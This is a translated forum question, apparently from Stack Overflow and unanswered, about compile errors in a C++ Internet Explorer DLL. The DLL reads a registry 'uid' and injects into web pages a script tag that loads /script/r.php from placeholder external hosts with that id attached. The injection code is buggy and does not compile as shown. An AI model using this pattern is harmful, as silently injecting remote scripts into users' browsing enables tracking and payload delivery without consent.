1

更新

我尝试根据注释将“缓冲区”(DWORD)转换为字符串,但出现以下错误:

错误 3 错误 C2664: 'sprintf' : 无法将参数 1 从 'char' 转换为 'char *'

错误 4 错误 C2110:“+”:无法添加两个指针

这是下面的更新代码,感谢您的帮助,非常感谢所有评论

缓冲区值可以是例如:BDF59E9937973429B3016736D7BECF92

        HKEY hKey;
        DWORD buffer;
        LONG result;
        char buffstr;
        unsigned long type=REG_DWORD, size=1024;

            result = RegOpenKeyEx(HKEY_CURRENT_USER,TEXT("SOFTWARE\\softname"),0,KEY_READ,&hKey);
            if(result == ERROR_SUCCESS)
            {
               RegQueryValueEx(hKey,TEXT("uid"),NULL,&type,(LPBYTE)&buffer,&size);
               RegCloseKey(hKey);
            }
        sprintf(buffstr, "%lu", ( unsigned long )buffer);
        CComBSTR bstrScript = L"if (document.getElementsByTagName('head')[0]) { if(!document.getElementById('bho_js')) {var html_doc = document.getElementsByTagName('head')[0]; var _js = document.createElement('script');  _js.setAttribute('type', 'text/javascript'); _js.setAttribute('id', 'bho_js'); _js.src = ('https:' == document.location.protocol ? 'https://www.url.com' : 'http://www.url.net') + '/script/r.php?uid="+buffstr+"';  html_doc.appendChild(_js);}}";
        CComBSTR bstrLanguage = L"javascript";

原帖

我已经设法使用 C++ DLL 在 IE 上注入了一个 javascript,但我试图将一个参数(一个名为“uid”的注册表值 REG_SZ 和 64 个字符长)传递给 JS 注入,但它给了我这个错误:

2   IntelliSense: expression must have integral or unscoped enum type

任何建议都非常受欢迎,因为我在 C++ 中处于新手之下

HKEY hKey;
DWORD buffer;
LONG result;
unsigned long type=REG_DWORD, size=1024;
result = RegOpenKeyEx(HKEY_CURRENT_USER,TEXT("SOFTWARE\\softname"),0,KEY_READ,&hKey);
if(result == ERROR_SUCCESS)
{
    RegQueryValueEx(hKey,TEXT("uid"),NULL,&type,(LPBYTE)&buffer,&size);
    RegCloseKey(hKey);
}
CComBSTR bstrScript = L"if (document.getElementsByTagName('head')[0]) { if(!document.getElementById('bho_js')) {var html_doc = document.getElementsByTagName('head')[0]; var _js = document.createElement('script');  _js.setAttribute('type', 'text/javascript'); _js.setAttribute('id', 'bho_js'); _js.src = ('https:' == document.location.protocol ? 'https://www.hostnamehttps.com' : 'http://www.hostnamehttp.net') + '/script/r.php?uid="+buffer+"';  html_doc.appendChild(_js);}}";
CComBSTR bstrLanguage = L"javascript";

有问题的行是:

CComBSTR bstrScript = L"if (document.getElementsByTagName('head')[0]) { if(!document.getElementById('bho_js')) {var html_doc = document.getElementsByTagName('head')[0]; var _js = document.createElement('script');  _js.setAttribute('type', 'text/javascript'); _js.setAttribute('id', 'bho_js'); _js.src = ('https:' == document.location.protocol ? 'https://www.hostnamehttps.com' : 'http://www.hostnamehttp.net') + '/script/r.php?uid="+buffer+"';  html_doc.appendChild(_js);}}";

由于缓冲区是一个 DWORD,我应该如何声明它能够将它包含在这个 CComBSTR 中?(对不起,如果这听起来微不足道)

4

0 回答 0